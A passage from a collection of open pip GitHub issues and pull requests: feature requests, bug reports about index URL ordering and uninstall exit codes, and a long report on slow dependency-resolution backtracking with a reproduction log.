our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Fix #5210 
user: q0w
issue_11520: state: open
title:  Fixed the exit status of uninstallable packages
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
This PR Fixes #5073 

Requirement - [pip should not fail if there is a name that's not currently installed (e.g. pip uninstall asddfjkg should return SUCCESS), it should only fail if asddfjkg actually exists but is not uninstallable.](https://github.com/pypa/pip/pull/10176#pullrequestreview-713376922)


user: darshanip
issue_11513: state: open
title: validate metadata using the canonical name
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: jjhelmus
issue_11512: state: open
title: use .metadata distribution info when possible
body: When performing `install --dry-run` and PEP 658 .metadata files are available to guide the resolve, do not download the associated wheels.

Rather use the distribution information directly from the .metadata files when reporting the results on the CLI and in the --report file.
user: jjhelmus
issue_11511: state: open
title: --extra-index-url ignored if before --index-url in requirements.txt
body: ### Description

If I have a `requirements.txt` file where the `--extra-index-url` flag is defined before the `--index-url` flag at the top of the file as such:

```
--extra-index-url https://private-secondary/pypi/simple
--index-url https://private-primary/pypi/simple
```

When running the `pip install --user -r requirements.txt` command, it fails to find any versions of the packages defined in the `--extra-index-url` repository.

If I then edit the `requirements.txt` file and switch the order of the flags (i.e. having `--index-url` defined in the first line and `--extra-index-url` defined below that), `pip` installs all the packages without issue.

In the reproduce issue sections below, I cannot put concrete examples as the repositories and packages are private.

### Expected behavior

A `requirements.txt` file with the following lines:

```
--extra-index-url https://private-secondary/pypi/simple
--index-url https://private-primary/pypi/simple
```

To be able to install packages from the `extra-index-url`.

### pip version

22.2.2

### Python version

3.9

### OS

Ubuntu 20.04

### How to Reproduce

1. Have a `requirements.txt` file in the format:

```
--extra-index-url [some repository]
--index-url [some other repository with different packages]

[some package from the extra-index-url repository]
```

2. Run the command `pip install --user -r requirements.txt`

### Output

> ERROR: Could not find a version that satisfies the requirement [some package from the extra-index-url repository] (from versions: none)
> ERROR: No matching distribution found for [some package from the extra-index-url repository]

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ella-rowe
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11509: state: open
title: [feature request] better output message when using `--upgrade`
body: ### What's the problem this feature will solve?

Whenever I use `--upgrade`, I'm unsure of whether it's the right command, and pip doesn't help me know whether it's the right command.

If the package is up-to-date, the output is identical to not using `--upgrade`.

`Requirement already satisfied` is the same whether I use `--upgrade` or not.

So I wouldn't be able to tell if pip just ignored `--upgrade`.

### Describe the solution you'd like

I would prefer to see a message like
`is already the latest version`
so I can tell that the `--upgrade` flag was recognized.

### Alternative Solutions

It's annoying having to double-check that that is the right command line option every time I use it.

### Additional context

n/a

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: beauxq
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11508: state: open
title: [Feature Request] Machine-readable progress outputs 
body: ### What's the problem this feature will solve?

Reading pip's install progress when invoked via subprocess.

Currently, rich's progress bar support does not work in a subprocess. This means that any programmatic subprocess invocation of a pip install/uninstall cannot detect the current progress. Any kind of flag that could enable some sort of text-only output of download progress would be fantastic.

I had previously opened a similar issue, #11171, where I suggested allowing users to force rich's progress bar formatting. However, I currently believe just having an option for machine-readable output would be better.

### Describe the solution you'd like

A flag that would output download and install progress in a way that is readable by parent processes. This can be done many ways, the easiest of which would probably just be by having a percentage or a fraction labeled with what action the percentage is for.

### Alternative Solutions

Literally just anything that allows me to read the progress of a pip install. Right now in order to show progress for pip installs in my app, I have to parse the found wheel name, find the download URL from pypi's API, download the wheel file manually, then install it via pip. I would much rather just rely on pip's implementation, however it is not possible at the moment.

### Additional context

Without being able to show download progress, large wheel files like PyTorch distributions (~3GB) can seem like they are stuck or unable to download. Showing the current progress (and that it is moving upwards) allows the user to see that something actually is happening.

This of course is built into pip thanks to rich's progress bar support. However, this is completely lost when running pip in a subprocess. Hence why I would really like this feature.

For more context, see #11171.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: joeyballentine
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11484: state: open
title: Prevent pip installs that start with `pip install pip install`
body: ### What's the problem this feature will solve?

When copying install commands, it is very easy to accidentally copy a command that already has `pip install`, meaning that pip will attempt to install `pip` and `install`. This isn't a massive issue since it's easy enough to `pip uninstall install` soon afterwards, but it's still a bit of a nuisance.

### Describe the solution you'd like

If a command starts with `pip install pip install`, an error should be printed instead of proceeding with the action. Perhaps for the one-in-a-million case where it's intentional, we can prompt the user with an "If this was intentional, please run `pip install install pip` instead".

### Alternative Solutions

I can't think of any - I think this is a pretty small quality of life improvement.

### Additional context

```
$ pip install pip install python-dotenv
Requirement already satisfied: pip in ./.venv/lib/python3.10/site-packages (22.2.2)
Collecting install
  Using cached install-1.3.5-py3-none-any.whl (3.2 kB)
Collecting python-dotenv
  Downloading python_dotenv-0.21.0-py3-none-any.whl (18 kB)
Installing collected packages: python-dotenv, install
Successfully installed install-1.3.5 python-dotenv-0.21.0
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: MiguelGuthridge
labels: type: feature request: Request for a new feature
issue_11483: state: open
title: FR: Remove absolute path pinning in entry point stub executables / scripts
body: ### What's the problem this feature will solve?

When a `venv` (or home Python) is moved in the filesystem, or appears under a different absolute path due to other reasons, the entry point stub exes / scripts fail, because an absolute (shebang) path is pinned into them during pip install - just to get the nearby python executable.

A relative path should be used as far as possible - primarily.  (A recorded abs path as backup try may or may not optionally still allow moving stubs way from the tree.)

See  https://github.com/python/cpython/issues/97647 



### Describe the solution you'd like

See  https://github.com/python/cpython/issues/97647 

An exe can easily locate relative. There is code already e.g. in [setuptools/launcher.c](https://github.com/pypa/setuptools/blob/badd7064e202635b8a94d5603b31a37ca7d58d6c/launcher.c#L120-L129)

For shell there is e.g.
https://stackoverflow.com/questions/20095351/shebang-use-interpreter-relative-to-the-script-path


### Alternative Solutions

-

### Additional context

See  https://github.com/python/cpython/issues/97647 

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: kxrob
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_11481: state: open
title: lazier lazy_wheel
body: This version of lazy_wheel is returning to pip after a detour in https://pypi.org/project/conda-package-streaming/

It avoids the `HEAD` request. In `conda-package-streaming` we also explicitly prefetch the file we are interested in (by finding its bytes range from ZipInfo) and guarantee 2 or a maximum of 3 requests.

Reducing the # of requests makes a big difference when latency is high.
user: dholth
labels: needs rebase or merge: PR has conflicts with current master
issue_11480: state: open
title: Improving failures at `ResolutionTooDeep` to include more context
body: ### Description

# Example of pip backtracking failure

## Repo for this example

... can be found there: https://github.com/vjmp/pipbacktracking
and issues can be found there: https://github.com/pypa/pip/issues

## Failing case description

Installing (internally conflicting) "requirements.txt" which has lots of
transient dependencies, with simple command like `pip install -r requirements.txt`
with "very simple" looking content of "requirements.txt" looking like:

```
pywebview[qt]==3.6.2
rpaframework==15.6.0
```

This will take long time to fail, like 4+ hours.

And note that this specific example applies only on Linux environments.
But I think problem is general, and "old, previously working" requirement sets
can get "rotten" over time, as dependency "future" takes "wrong" turn. This
is because resolver works from latest to oldest, and even one few versions of
some required dependencies can derail resolver into backtracking "mode".

## Context of our problem space.

Here are some things, that make this problem to Robocorp customers.

- machines executing "pip install" can be fast or slow (or very slow)
- pip version can be anything old or new (backward compatible generic usage)
- pip environment setup time is "billable" time, so "fail fast" is cheaper
  in monetary terms than "fail 4+ hours later on total environment build
  failure"
- automation is setting up environment, not humans
- our tooling for automation in our `rcc` which is used here to also make this
  failure as repeatable process
- and general context for automation is RPA (robotic process automation) so
  processes should be repeatable and reliable and not break, even if time passes

## Problem with backtracking

### It is very slow to fail.

Currently happy path works (fast enough), but if you derail resolver to unbeaten
path, then resolution takes long time, because in pip source
https://github.com/pypa/pip/blob/main/src/pip/_internal/resolution/resolvelib/resolver.py#L91
there is magical internal variable `try_to_avoid_resolution_too_deep = 2000000`
which causes very long search until it fails.

### Brute force search for possibly huge search space.

When package, like `rpaframework` below, has something around 100 dependencies
it its dependency tree, even happy path resolution takes 100+ rounds of pip
dependency resolution to find it. When backtracking, (just one) processor
becomes 100% busy for backtracking work.

### In automation, there is no "human" to press "Control-C".

> INFO: pip is looking at multiple versions of selenium to determine which
> version is compatible with other requirements. This could take a while.

and ...

> INFO: This is taking longer than usual. You might need to provide the
> dependency resolver with stricter constraints to reduce runtime.
> See https://pip.pypa.io/warnings/backtracking for guidance.
> If you want to abort this run, press Ctrl + C.

... are nice for `pip` to inform user that it is taking longer than usual, but
in our customers automation cases, there is nobody who could see those, or
to press that "Ctrl + C".

This could be improved, if there would be environment variable like
`MAX_PIP_RESOLUTION_ROUNDS` instead of having hard coded 2000000 internal limit.
Also adding this as environment variable (instead of command line option is
better backwards compatibility, since "extra" environment variable does not
kill old pip version commands, but CLI option will).

## Basic setup

What is needed:

- a linux machine
- content of repo containing this README.md file
- rcc executable (optional, but useful, and if you have it, you don't have
  to manually install following two things ...)
- python3, in our case we have tested 3.9.13
- pip, in our case we have tested 22.1.2 (but mostly anything after 20.3 has
  this feature; this current example uses pip v22.2.2)

## Example code

You need `rcc` to run these examples. Or do manual environment setup if you will.

You can download rcc binaries from https://downloads.robocorp.com/rcc/releases/index.html
or if you want to more information, see https://github.com/robocorp/rcc

### Success case (just for reference)

To run success case as what normal user sees, use this:

```sh
rcc run --task pass
```

And to see debugging output, use this:

```sh
rcc run --dev --task pass
```

### Actual failure case (point of this demo)

To run failing case as what normal user sees, use this ... and have patience to wait:

```sh
rcc run --task fail
```

And to see debugging output, use this ... and have patience to wait:

```sh
rcc run --dev --task fail
```

### Expected behavior

Faster (and configurable) failure on pip install on complex/big dependency tree.

### pip version

22.2.2

### Python version

3.9.13

### OS

Linux

### How to Reproduce

1. Clone repository from: https://github.com/vjmp/pipbacktracking
2. Download rcc from: https://downloads.robocorp.com/rcc/releases/index.html
3. Make it executable and note location
4. Change to "pipbacktracking" repo directory, and run command `/path/to/rcc run --task fail`

Note: no need to install specific python or pip versions, if you use these instructions.

### Output

```
$ git clone https://github.com/vjmp/pipbacktracking
... your normal "git" output (not interesting)
$ cd pipbacktracking
$ curl -o bin/rcc https://downloads.robocorp.com/rcc/releases/v11.27.3/linux64/rcc
... your normal  curl output (not interesting)
$ chmod 755 bin/rcc
$ bin/rcc run --task fail
"/home/user/tmp/redo/pipbacktracking/robot.yaml" as robot.yaml is:
tasks:
  pass:
    shell: user_flow.sh pass
  fail:
    shell: user_flow.sh fail

devTasks:
  pass:
    shell: debug_flow.sh pass
  fail:
    shell: debug_flow.sh fail

condaConfigFile: conda.yaml
artifactsDir: temp
PATH:
  - bin
PYTHONPATH:
ignoreFiles:
  - .gitignore

####  Progress: 01/13  v11.27.3     0.009s  Fresh [private mode] holotree environment 66eec3ee-3650-220e-41fa-1b2f1f5e07c0.
####  Progress: 02/13  v11.27.3     0.001s  Holotree blueprint is "48b3e3ef4c244a3e" [linux_amd64].
####  Progress: 12/13  v11.27.3     0.294s  Restore space from library [with 7 workers].
Installation plan is: /home/user/.robocorp/holotree/59acff1_5a1fac3_9fcd2534/rcc_plan.log
Environment configuration descriptor is: /home/user/.robocorp/holotree/59acff1_5a1fac3_9fcd2534/identity.yaml
####  Progress: 13/13  v11.27.3     0.206s  Fresh holotree done [with 7 workers].
Wanted  Version  Origin  |  No.  |  Available         Version    Origin       |  Status
------  -------  ------  +  ---  +  ---------         -------    ------       +  ------
-       -        -       |    1  |  _libgcc_mutex     0.1        conda-forge  |  N/A
-       -        -       |    2  |  _openmp_mutex     4.5        conda-forge  |  N/A
-       -        -       |    3  |  bzip2             1.0.8      conda-forge  |  N/A
-       -        -       |    4  |  ca-certificates   2022.9.24  conda-forge  |  N/A
-       -        -       |    5  |  ld_impl_linux-64  2.36.1     conda-forge  |  N/A
-       -        -       |    6  |  libffi            3.4.2      conda-forge  |  N/A
-       -        -       |    7  |  libgcc-ng         12.1.0     conda-forge  |  N/A
-       -        -       |    8  |  libgomp           12.1.0     conda-forge  |  N/A
-       -        -       |    9  |  libnsl            2.0.0      conda-forge  |  N/A
-       -        -       |   10  |  libsqlite         3.39.3     conda-forge  |  N/A
-       -        -       |   11  |  libuuid           2.32.1     conda-forge  |  N/A
-       -        -       |   12  |  libzlib           1.2.12     conda-forge  |  N/A
-       -        -       |   13  |  ncurses           6.3        conda-forge  |  N/A
-       -        -       |   14  |  openssl           3.0.5      conda-forge  |  N/A
-       -        -       |   15  |  pip               22.2.2     conda-forge  |  N/A
-       -        -       |   16  |  python            3.9.13     conda-forge  |  N/A
-       -        -       |   17  |  readline          8.1.2      conda-forge  |  N/A
-       -        -       |   18  |  setuptools        65.4.0     conda-forge  |  N/A
-       -        -       |   19  |  sqlite            3.39.3     conda-forge  |  N/A
-       -        -       |   20  |  tk                8.6.12     conda-forge  |  N/A
-       -        -       |   21  |  tzdata            2022d      conda-forge  |  N/A
-       -        -       |   22  |  wheel             0.37.1     conda-forge  |  N/A
-       -        -       |   23  |  xz                5.2.6      conda-forge  |  N/A
------  -------  ------  +  ---  +  ---------         -------    ------       +  ------
Wanted  Version  Origin  |  No.  |  Available         Version    Origin       |  Status

--
+ pip install -r requirements_fail.txt
Collecting pywebview[qt]==3.6.2
  Using cached pywebview-3.6.2-py3-none-any.whl (351 kB)
Collecting rpaframework==15.6.0
  Using cached rpaframework-15.6.0-py3-none-any.whl (534 kB)
Collecting proxy-tools
  Using cached proxy_tools-0.1.0-py3-none-any.whl
Collecting PyQt5
  Using cached PyQt5-5.15.7-cp37-abi3-manylinux1_x86_64.whl (8.4 MB)
Collecting pyqtwebengine
  Using cached PyQtWebEngine-5.15.6-cp37-abi3-manylinux1_x86_64.whl (230 kB)
Collecting QtPy
  Using cached QtPy-2.2.0-py3-none-any.whl (82 kB)
Collecting PySocks!=1.5.7,<2.0.0,>=1.5.6
  Using cached PySocks-1.7.1-py3-none-any.whl (16 kB)
Collecting netsuitesdk<2.0.0,>=1.1.0
  Using cached netsuitesdk-1.24.0-py3-none-any.whl (31 kB)
Collecting python-xlib>=0.17
  Using cached python_xlib-0.31-py2.py3-none-any.whl (179 kB)
Collecting xlwt<2.0.0,>=1.3.0
  Using cached xlwt-1.3.0-py2.py3-none-any.whl (99 kB)
Collecting docutils
  Using cached docutils-0.19-py3-none-any.whl (570 kB)
Collecting pillow<10.0.0,>=9.1.1
  Using cached Pillow-9.2.0-cp39-cp39-manylinux_2_28_x86_64.whl (3.2 MB)
Collecting openpyxl<4.0.0,>=3.0.9
  Using cached openpyxl-3.0.10-py2.py3-none-any.whl (242 kB)
Collecting htmldocx<0.0.7,>=0.0.6
  Using cached htmldocx-0.0.6-py3-none-any.whl (9.5 kB)
Collecting graphviz<0.14.0,>=0.13.2
  Using cached graphviz-0.13.2-py2.py3-none-any.whl (17 kB)
Collecting exchangelib<5.0.0,>=4.5.1
  Using cached exchangelib-4.7.6-py2.py3-none-any.whl (236 kB)
Collecting xlutils<3.0.0,>=2.0.0
  Using cached xlutils-2.0.0-py2.py3-none-any.whl (55 kB)
Collecting click<9.0.0,>=8.1.2
  Using cached click-8.1.3-py3-none-any.whl (96 kB)
Collecting chardet<4.0.0,>=3.0.0
  Using cached chardet-3.0.4-py2.py3-none-any.whl (133 kB)
Collecting java-access-bridge-wrapper<0.10.0,>=0.9.4
  Using cached java_access_bridge_wrapper-0.9.5-py3-none-any.whl (28 kB)
Collecting pyperclip<2.0.0,>=1.8.0
  Using cached pyperclip-1.8.2-py3-none-any.whl
Collecting tzlocal<3.0,>=2.1
  Using cached tzlocal-2.1-py2.py3-none-any.whl (16 kB)
Collecting xlrd<3.0.0,>=2.0.1
  Using cached xlrd-2.0.1-py2.py3-none-any.whl (96 kB)
Collecting rpaframework-pdf<5.0.0,>=4.1.0
  Using cached rpaframework_pdf-4.1.0-py3-none-any.whl (609 kB)
Collecting PyYAML<6.0.0,>=5.4.1
  Using cached PyYAML-5.4.1-cp39-cp39-manylinux1_x86_64.whl (630 kB)
Collecting hubspot-api-client<5.0.0,>=4.0.6
  Using cached hubspot_api_client-4.0.6-py3-none-any.whl (1.9 MB)
Collecting robotframework-requests<0.10.0,>=0.9.1
  Using cached robotframework_requests-0.9.3-py3-none-any.whl (21 kB)
Collecting robotframework-seleniumtestability<2.0.0,>=1.1.0
  Using cached robotframework_seleniumtestability-1.1.0-py2.py3-none-any.whl
Collecting robotframework!=4.0.1,<6.0.0,>=4.0.0
  Using cached robotframework-5.0.1-py3-none-any.whl (639 kB)
Collecting notifiers<2.0.0,>=1.2.1
  Using cached notifiers-1.3.3-py3-none-any.whl (43 kB)
Collecting jsonpath-ng<2.0.0,>=1.5.2
  Using cached jsonpath_ng-1.5.3-py3-none-any.whl (29 kB)
Collecting rpaframework-core<10.0.0,>=9.1.0
  Using cached rpaframework_core-9.1.0-py3-none-any.whl (38 kB)
Collecting pynput-robocorp-fork<5.0.0,>=4.0.0
  Using cached pynput_robocorp_fork-4.0.0-py2.py3-none-any.whl (94 kB)
Collecting tweepy<4.0.0,>=3.8.0
  Using cached tweepy-3.10.0-py2.py3-none-any.whl (30 kB)
Collecting simple_salesforce<2.0.0,>=1.0.0
  Using cached simple_salesforce-1.12.2-py2.py3-none-any.whl (120 kB)
Collecting mss<7.0.0,>=6.0.0
  Using cached mss-6.1.0-py3-none-any.whl (76 kB)
Collecting robotframework-pythonlibcore<4.0.0,>=3.0.0
  Using cached robotframework_pythonlibcore-3.0.0-py2.py3-none-any.whl (9.9 kB)
Collecting rpaframework-dialogs<4.0.0,>=3.0.0
  Using cached rpaframework_dialogs-3.0.1-py3-none-any.whl (18 kB)
Collecting cryptography<4.0.0,>=3.3.1
  Using cached cryptography-3.4.8-cp36-abi3-manylinux_2_24_x86_64.whl (3.0 MB)
Collecting tenacity<9.0.0,>=8.0.1
  Using cached tenacity-8.1.0-py3-none-any.whl (23 kB)
Collecting robotframework-seleniumlibrary<6.0.0,>=5.1.0
  Using cached robotframework_seleniumlibrary-5.1.3-py2.py3-none-any.whl (94 kB)
Collecting selenium<4.0.0,>=3.141.0
  Using cached selenium-3.141.0-py2.py3-none-any.whl (904 kB)
Collecting cffi>=1.12
  Using cached cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (441 kB)
Collecting requests-ntlm>=0.2.0
  Using cached requests_ntlm-1.1.0-py2.py3-none-any.whl (5.7 kB)
Collecting cached-property
  Using cached cached_property-1.5.2-py2.py3-none-any.whl (7.6 kB)
Collecting pygments
  Using cached Pygments-2.13.0-py3-none-any.whl (1.1 MB)
Collecting defusedxml>=0.6.0
  Using cached defusedxml-0.7.1-py2.py3-none-any.whl (25 kB)
Collecting requests>=2.7
  Using cached requests-2.28.1-py3-none-any.whl (62 kB)
Collecting oauthlib
  Using cached oauthlib-3.2.1-py3-none-any.whl (151 kB)
Collecting lxml>3.0
  Using cached lxml-4.9.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl (7.0 MB)
Collecting requests-oauthlib
  Using cached requests_oauthlib-1.3.1-py2.py3-none-any.whl (23 kB)
Collecting tzdata
  Using cached tzdata-2022.4-py2.py3-none-any.whl (336 kB)
Collecting dnspython>=2.0.0
  Using cached dnspython-2.2.1-py3-none-any.whl (269 kB)
Collecting isodate
  Using cached isodate-0.6.1-py2.py3-none-any.whl (41 kB)
Collecting python-docx>=0.8.10
  Using cached python_docx-0.8.11-py3-none-any.whl
Collecting beautifulsoup4>=4.7.0
  Using cached beautifulsoup4-4.11.1-py3-none-any.whl (128 kB)
Collecting certifi
  Using cached certifi-2022.9.24-py3-none-any.whl (161 kB)
Collecting python-dateutil
  Using cached python_dateutil-2.8.2-py2.py3-none-any.whl (247 kB)
Collecting urllib3>=1.15
  Using cached urllib3-1.26.12-py2.py3-none-any.whl (140 kB)
Collecting six>=1.10
  Using cached six-1.16.0-py2.py3-none-any.whl (11 kB)
Collecting decorator
  Using cached decorator-5.1.1-py3-none-any.whl (9.1 kB)
Collecting ply
  Using cached ply-3.11-py2.py3-none-any.whl (49 kB)
Collecting zeep
  Using cached zeep-4.1.0-py2.py3-none-any.whl (100 kB)
Collecting jsonschema<5.0.0,>=4.4.0
  Using cached jsonschema-4.16.0-py3-none-any.whl (83 kB)
Collecting et-xmlfile
  Using cached et_xmlfile-1.1.0-py3-none-any.whl (4.7 kB)
Collecting furl
  Using cached furl-2.1.3-py2.py3-none-any.whl (20 kB)
Collecting wrapt
  Using cached wrapt-1.14.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (77 kB)
Collecting webdrivermanager<0.11.0,>=0.10.0
  Using cached webdrivermanager-0.10.0-py2.py3-none-any.whl
Collecting robocorp-dialog<0.6.0,>=0.5.3
  Using cached robocorp_dialog-0.5.3-py3-none-any.whl (22.2 MB)
Collecting fpdf2<3.0.0,>=2.5.2
  Using cached fpdf2-2.5.7-py2.py3-none-any.whl (237 kB)
Collecting pypdf2!=1.27.10,!=1.27.11,<2.0.0,>=1.27.4
  Using cached PyPDF2-1.28.6-py3-none-any.whl (87 kB)
Collecting pdfminer.six==20201018
  Using cached pdfminer.six-20201018-py3-none-any.whl (5.6 MB)
Collecting sortedcontainers
  Using cached sortedcontainers-2.4.0-py2.py3-none-any.whl (29 kB)
Collecting authlib
  Using cached Authlib-1.1.0-py2.py3-none-any.whl (214 kB)
Collecting pytz
  Using cached pytz-2022.4-py2.py3-none-any.whl (500 kB)
Collecting PyQt5-sip<13,>=12.11
  Using cached PyQt5_sip-12.11.0-cp39-cp39-manylinux1_x86_64.whl (357 kB)
Collecting PyQt5-Qt5>=5.15.0
  Using cached PyQt5_Qt5-5.15.2-py3-none-manylinux2014_x86_64.whl (59.9 MB)
Collecting PyQtWebEngine-Qt5>=5.15.0
  Using cached PyQtWebEngine_Qt5-5.15.2-py3-none-manylinux2014_x86_64.whl (67.5 MB)
Collecting packaging
  Using cached packaging-21.3-py3-none-any.whl (40 kB)
Collecting soupsieve>1.2
  Using cached soupsieve-2.3.2.post1-py3-none-any.whl (37 kB)
Collecting pycparser
  Using cached pycparser-2.21-py2.py3-none-any.whl (118 kB)
Collecting fonttools
  Downloading fonttools-4.37.4-py3-none-any.whl (960 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 960.8/960.8 kB 1.3 MB/s eta 0:00:00
Collecting svg.path
  Using cached svg.path-6.2-py2.py3-none-any.whl (40 kB)
Collecting attrs>=17.4.0
  Using cached attrs-22.1.0-py2.py3-none-any.whl (58 kB)
Collecting pyrsistent!=0.17.0,!=0.17.1,!=0.17.2,>=0.14.0
  Using cached pyrsistent-0.18.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (115 kB)
Collecting charset-normalizer<3,>=2
  Using cached charset_normalizer-2.1.1-py3-none-any.whl (39 kB)
Collecting idna<4,>=2.5
  Using cached idna-3.4-py3-none-any.whl (61 kB)
Collecting ntlm-auth>=1.0.2
  Using cached ntlm_auth-1.5.0-py2.py3-none-any.whl (29 kB)
INFO: pip is looking at multiple versions of requests[socks] to determine which version is compatible with other requirements. This could take a while.
Collecting requests[socks]>=2.11.1
  Using cached requests-2.28.0-py3-none-any.whl (62 kB)
INFO: pip is looking at multiple versions of oauthlib to determine which version is compatible with other requirements. This could take a while.
Collecting oauthlib
  Using cached oauthlib-3.2.0-py3-none-any.whl (151 kB)
INFO: pip is looking at multiple versions of requests-oauthlib to determine which version is compatible with other requirements. This could take a while.
Collecting requests-oauthlib
  Using cached requests_oauthlib-1.3.0-py2.py3-none-any.whl (23 kB)
INFO: pip is looking at multiple versions of requests-ntlm to determine which version is compatible with other requirements. This could take a while.
Collecting requests-ntlm>=0.2.0
  Using cached requests_ntlm-1.0.0-py2.py3-none-any.whl (5.2 kB)
INFO: pip is looking at multiple versions of certifi to determine which version is compatible with other requirements. This could take a while.
Collecting certifi
  Using cached certifi-2022.9.14-py3-none-any.whl (162 kB)
INFO: pip is looking at multiple versions of requests to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of python-docx to determine which version is compatible with other requirements. This could take a while.
Collecting python-docx>=0.8.10
  Using cached python-docx-0.8.10.tar.gz (5.5 MB)
  Preparing metadata (setup.py): started
  Preparing metadata (setup.py): finished with status 'done'
INFO: pip is looking at multiple versions of pyqtwebengine-qt5 to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of pyqt5-sip to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of pyqt5-qt5 to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of pypdf2 to determine which version is compatible with other requirements. This could take a while.
Collecting pypdf2!=1.27.10,!=1.27.11,<2.0.0,>=1.27.4
  Using cached PyPDF2-1.28.5-py3-none-any.whl (87 kB)
INFO: pip is looking at multiple versions of lxml to determine which version is compatible with other requirements. This could take a while.
Collecting lxml>3.0
  Using cached lxml-4.9.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl (7.0 MB)
INFO: pip is looking at multiple versions of jsonschema to determine which version is compatible with other requirements. This could take a while.
Collecting jsonschema<5.0.0,>=4.4.0
  Using cached jsonschema-4.15.0-py3-none-any.whl (82 kB)
INFO: pip is looking at multiple versions of fpdf2 to determine which version is compatible with other requirements. This could take a while.
Collecting fpdf2<3.0.0,>=2.5.2
  Using cached fpdf2-2.5.6-py2.py3-none-any.whl (233 kB)
INFO: pip is looking at multiple versions of dnspython to determine which version is compatible with other requirements. This could take a while.
Collecting dnspython>=2.0.0
  Using cached dnspython-2.2.0-py3-none-any.whl (266 kB)
INFO: pip is looking at multiple versions of defusedxml to determine which version is compatible with other requirements. This could take a while.
Collecting defusedxml>=0.6.0
  Using cached defusedxml-0.7.0-py2.py3-none-any.whl (25 kB)
INFO: pip is looking at multiple versions of cffi to determine which version is compatible with other requirements. This could take a while.
Collecting cffi>=1.12
  Using cached cffi-1.15.0-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (444 kB)
INFO: pip is looking at multiple versions of beautifulsoup4 to determine which version is compatible with other requirements. This could take a while.
Collecting beautifulsoup4>=4.7.0
  Using cached beautifulsoup4-4.11.0-py3-none-any.whl (71 kB)
INFO: pip is looking at multiple versions of qtpy to determine which version is compatible with other requirements. This could take a while.
Collecting QtPy
  Using cached QtPy-2.1.0-py3-none-any.whl (68 kB)
INFO: pip is looking at multiple versions of pywebview to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of pyqtwebengine to determine which version is compatible with other requirements. This could take a while.
Collecting pyqtwebengine
  Using cached PyQtWebEngine-5.15.5-cp36-abi3-manylinux1_x86_64.whl (228 kB)
INFO: pip is looking at multiple versions of pyqt5 to determine which version is compatible with other requirements. This could take a while.
Collecting PyQt5
  Using cached PyQt5-5.15.6-cp36-abi3-manylinux1_x86_64.whl (8.3 MB)
INFO: pip is looking at multiple versions of proxy-tools to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of docutils to determine which version is compatible with other requirements. This could take a while.
Collecting docutils
  Using cached docutils-0.18.1-py2.py3-none-any.whl (570 kB)
INFO: pip is looking at multiple versions of xlwt to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of xlutils to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of xlrd to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of tzlocal to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of tweepy to determine which version is compatible with other requirements. This could take a while.
Collecting tweepy<4.0.0,>=3.8.0
  Using cached tweepy-3.9.0-py2.py3-none-any.whl (30 kB)
INFO: pip is looking at multiple versions of tenacity to determine which version is compatible with other requirements. This could take a while.
Collecting tenacity<9.0.0,>=8.0.1
  Using cached tenacity-8.0.1-py3-none-any.whl (24 kB)
INFO: pip is looking at multiple versions of simple-salesforce to determine which version is compatible with other requirements. This could take a while.
Collecting simple_salesforce<2.0.0,>=1.0.0
  Using cached simple_salesforce-1.12.1-py2.py3-none-any.whl (119 kB)
INFO: pip is looking at multiple versions of selenium to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of pdfminer-six to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of rpaframework-pdf to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of rpaframework-dialogs to determine which version is compatible with other requirements. This could take a while.
Collecting rpaframework-dialogs<4.0.0,>=3.0.0
  Using cached rpaframework_dialogs-3.0.0-py3-none-any.whl (18 kB)
INFO: pip is looking at multiple versions of pywebview to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of rpaframework-core to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of robotframework-seleniumtestability to determine which version is compatible with other requirements. This could take a while.
